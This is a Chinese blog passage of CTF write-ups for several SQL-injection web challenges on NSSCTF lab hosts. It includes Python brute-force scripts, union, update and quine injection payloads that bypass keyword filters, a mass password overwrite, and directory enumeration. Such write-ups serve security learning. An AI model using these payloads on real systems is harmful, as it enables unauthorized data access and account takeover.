alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\",#$&'()*+-./:;<=>?@[\]^_`{|}~"
pswd = ''
while True:
flag = True
for i in alpha:
post_data = {"username": f"tarnisha'/**/or/**/database()/**/like/**/'{pswd+i}%"}
response = requests.post("http://node2.anna.nssctf.cn:28793/", data=post_data)
time.sleep(0.1)
if "flag" in response.text:
pswd += i
print(pswd)
flag = False
break
if flag:
break

常规流程查看数据库、表名、列名

1
2
3
4
tarnisha'/**/or/**/database()/**/like/**/'{pswd+i}%	// test
tarnisha'/**/or/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')/**/like/**/'{pswd+i}% // flag,users
tarnisha'/**/or/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')/**/like/**/'{pswd+i}% // flag
tarnisha'/**/or/**/(select/**/group_concat(flag)/**/from/**/test.flag)/**/like/**/'{pswd+i}% // [_____[__[__[__c__,nssctf_884ed7db-9884-4e11-bd55-ae7a0e385a9f_

img

解法二

直接联合注入也可以 因为用户名找不到就直接使用联合后半部分的结果输出了

1
username=1'/**/union/**/select/**/database()/**/'

然后还是常规流程 注意最后展示flag要用substr截取 否则不知道为什么无法成功

1
username=1'/**/union/**/select/**/substr((select/**/group_concat(flag)/**/from/**/flag),1,60)/**/'

img

Read More
post @ 2023-07-13

题目链接

题目描述:好想知道admin的密码呜呜呜~

UPDATE注入

注册登入发现可以更新个人信息 其中age字段存在update注入,可通过描述字段查看所需信息

1
2
3
4
5
1. nickname=hhh&age=23, description=(select 1)%23	// 1
2. nickname=hhh&age=23, description=(select database())%23 // 查看数据库 demo2
3. nickname=hhh&age=23, description=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23 //查看表 users
4. nickname=hhh&age=23, description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)%23 //查看列 id,username,password,nickname,age,description (注意此处users会导致更新错误 替换为url编码)
5. nickname=hhh&age=23, description=(select group_concat(password) users)%23 // 0cc175b9c0f1b6a831c399e269772661 为md5格式

修改password

1
6. nickname=hhh&age=23, password=0x3230326362393632616335393037356239363462303731353264323334623730%23 // 0x32...30 == hex(md5('123'))

登录成功

username: admin password: 123

这里description是被覆盖过的,因为前面执行 [5] 的时候是对所有用户进行操作,使得description为password

可以看到description: 5a64edabc9358c603103053a3c600a88 爆破可得原始密码为 iamcool

需要重开环境直接 1.修改密码[6]再登录 2.iamcool登录

Read More

题目链接

解法一

页面源码

源码提示 ?source=1 查看

1
<!-- /?source -->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

可见查询语句

1
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
  • 过滤了空格和等号
  • 查询成功显示wrong password 失败显示 something wrong

sql注入

可以通过%通配符一位一位爆破

1
[post] username=admin&password=1'/**/or/**/password/**/like/**/'e%'%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
alpha = string.hexdigits
pswd = ''

while True:
flag = True
for i in alpha:
post_data = {"username": "admin",
"password": f"1'/**/or/**/password/**/like/**/'{pswd + i}%'#"}
response = requests.post("http://node4.anna.nssctf.cn:28624/", data=post_data)
time.sleep(0.1)
if "something" not in response.text:
pswd += i
print(pswd)
flag = False
break

if flag:
break
# eb2d018ac00e7d6dbe8eb7059df0a4b2
post_data = {"username": "admin",
"password": f"{pswd}"}
response = requests.post("http://node4.anna.nssctf.cn:28624/", data=post_data) # 登入获取flag
print(response.text)

解法二

dirb后台爆破

发现phpmyadmin

1
2
3
4
> dirb [url]
<
+ http://node4.anna.nssctf.cn:28632/index.php (CODE:200|SIZE:323)
==> DIRECTORY: http://node4.anna.nssctf.cn:28632/phpmyadmin/

访问phpmyadmin

  • 发现是sql登录界面 弱口令admin admin登录成功

  • 查看ctf数据库中users table 获取admin密码

  • 登录获取flag

解法三

quine注入

quine注入:sql命令的输入和执行后的输出完全相同,以此通过 $row['password'] === $password

https://www.shysecurity.com/post/20140705-SQLi-Quine

从三道赛题再谈Quine trick-安全客 - 安全资讯平台 (anquanke.com)

[Quine Injection](https://goodlunatic.github.io/2023/07/04/Quine Injection/)

1
2
3
4
5
6
7
8
9
10
11
12
13
# quine 生成脚本
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)")
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的东西执行完之后和data一样
"""
data="'/**/union/**/select(!!)#"
quine(data)
1
password=1'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
Read More
⬆︎TOP